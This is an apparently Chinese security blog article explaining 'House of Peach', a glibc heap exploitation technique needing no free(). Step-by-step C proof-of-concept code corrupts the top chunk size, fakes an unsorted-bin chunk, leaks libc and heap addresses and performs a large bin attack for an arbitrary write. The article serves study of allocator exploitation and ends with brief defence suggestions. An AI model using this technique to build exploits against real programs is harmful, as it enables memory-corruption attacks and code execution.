House-of-peach——无Free函数的新利用手法
字数 1216 2025-12-23 12:11:09
House of Peach 堆利用技术详解
技术概述
House of Peach 是一种新型的堆利用技术,延续了 House of Orange 对 Top chunk 的利用思路。该技术可在任意 glibc 版本下,无需 free 函数即可实现堆利用,通过精心构造的堆布局和溢出漏洞,实现内存地址泄露和任意地址写入。
技术原理分析
核心机制:sysmalloc 中的 Top chunk 释放
在 glibc 2.39 的 sysmalloc 函数中,当主分配区(main_arena)的堆空间不足时,会执行以下关键操作:
// 主分配区处理逻辑
if (old_size != 0) {
old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
set_head(old_top, old_size | PREV_INUSE);
// 创建 fencepost
set_head(chunk_at_offset(old_top, old_size), CHUNK_HDR_SZ | PREV_INUSE);
set_head(chunk_at_offset(old_top, old_size + CHUNK_HDR_SZ), CHUNK_HDR_SZ | PREV_INUSE);
// 关键:释放旧的 top chunk
if (old_size >= MINSIZE) {
_int_free(av, old_top, 1);
}
}
sbrk 的连续地址分配特性
通过分析 __glibc_morecore 函数可知,主线程堆通过 sbrk 分配的空间是连续的:
void *__glibc_morecore(ptrdiff_t increment) {
if (__always_fail_morecore) return NULL;
void *result = (void *) __sbrk(increment);
if (result == (void *) -1) return NULL;
return result;
}
这种连续性为后续的堆布局伪造提供了基础。
利用条件与前提
- 堆溢出漏洞:能够修改 chunk 的 size 字段
- 无 free 函数限制:适用于只有 malloc 没有 free 的场景
- glibc 版本:全版本通用(技术演示基于 glibc 2.39)
- 主线程堆:利用针对主分配区的特性
详细利用步骤
第一阶段:初始堆布局
size_t *chunk_1, *chunk_2, *chunk_3, *tmp_chunk;
long int tmp_size, offset;
// 创建初始堆结构
chunk_1 = malloc(0x28);
第二阶段:修改 Top chunk 大小
// 获取当前 top chunk 大小并修改
tmp_size = chunk_1[5]; // chunk_1[5] 对应 top chunk 的 size 字段
chunk_1[5] = tmp_size & 0xfff; // 保持页面对齐特性
关键点:需要绕过 glibc 的断言检查:
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long)(old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & (pagesize - 1)) == 0));
通过保持 size 的低 12 位与原始值一致,确保页面对齐,避免触发断言。
第三阶段:触发 Top chunk 释放
// 分配大块内存触发 sysmalloc
chunk_2 = malloc(0x1000);
chunk_3 = malloc(0x1000);
此操作会导致:
- 旧的 top chunk 被释放并加入 unsorted bin
- 通过 sbrk 分配新的堆空间
- 新旧堆空间地址连续
第四阶段:伪造 Unsorted Bin Chunk
// 将旧的 top chunk 重新放入 unsorted bin
chunk_1 = malloc(0x28);
// 计算偏移并设置伪造的 chunk 大小
offset = ((chunk_3 - chunk_1) * 8) + 0x400 - 0x30;
chunk_3[0x7f] = 0x1010 - 0x400; // 伪造的 size
chunk_3[0x7e] = offset; // 伪造的 prev_size
chunk_1[5] = offset + 1; // 修改旧的 top chunk size
布局效果:创建一个巨大的伪造 unsorted chunk,覆盖 chunk_2 和 chunk_3 的部分区域。
第五阶段:地址泄露
Libc 地址泄露
// 申请特定大小的 chunk,使 chunk_2 进入 unsorted bin
tmp_chunk = malloc(((chunk_2 - chunk_1) * 8) - 0x10 - 0x30);
// 此时 chunk_2 的 fd 指针指向 main_arena,可泄露 libc 地址
堆地址泄露
// 进一步分配,使 chunk_3 进入 large bin
tmp_chunk = malloc(0x1000 - 0x10);
tmp_chunk = malloc(0x1000 - 0x10);
// 此时 chunk_3 的 fd_nextsize 包含堆地址
第六阶段:Large Bin Attack
// 修改新的 top chunk 大小,使其可被释放
tmp_chunk = malloc(0x1000);
tmp_size = tmp_chunk[0x201] & 0xfff;
tmp_chunk[0x201] = tmp_size;
tmp_size = tmp_size - 0x400 - 0x10 - 0x20;
tmp_chunk = malloc(0x1000);
// 尝试 mmap 固定地址(可选步骤)
void *addr = (void *)0x4440000;
size_t *result = mmap(addr, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
// 执行 large bin attack
tmp_chunk = malloc(tmp_size);
chunk_3[1] = 0x4440000 - 0x20; // 修改 bk_nextsize
tmp_chunk = malloc(0x1000); // 触发写入
技术优势与特点
- 无 free 函数要求:完全基于 malloc 操作实现利用
- 版本通用性:适用于各种 glibc 版本
- 连续地址利用:利用 sbrk 的连续性特性
- 多重利用能力:可实现地址泄露和任意地址写入
- 布局控制精细:通过精确的 size 控制实现复杂的堆布局
防御与检测建议
- 堆溢出检测:加强堆边界检查,防止 size 字段被修改
- 堆布局监控:监控异常的堆 chunk 大小和布局
- 地址随机化:加强 ASLR 保护,增加预测难度
- 分配模式检测:检测异常的 malloc 大小序列模式
总结
House of Peach 技术通过精妙地利用 glibc 内存分配器中 sysmalloc 对旧 top chunk 的自动释放机制,结合 sbrk 的连续地址分配特性,实现了在无 free 函数情况下的高级堆利用。该技术展示了现代堆利用技术向更精细化的布局控制和系统机制深度利用的发展趋势。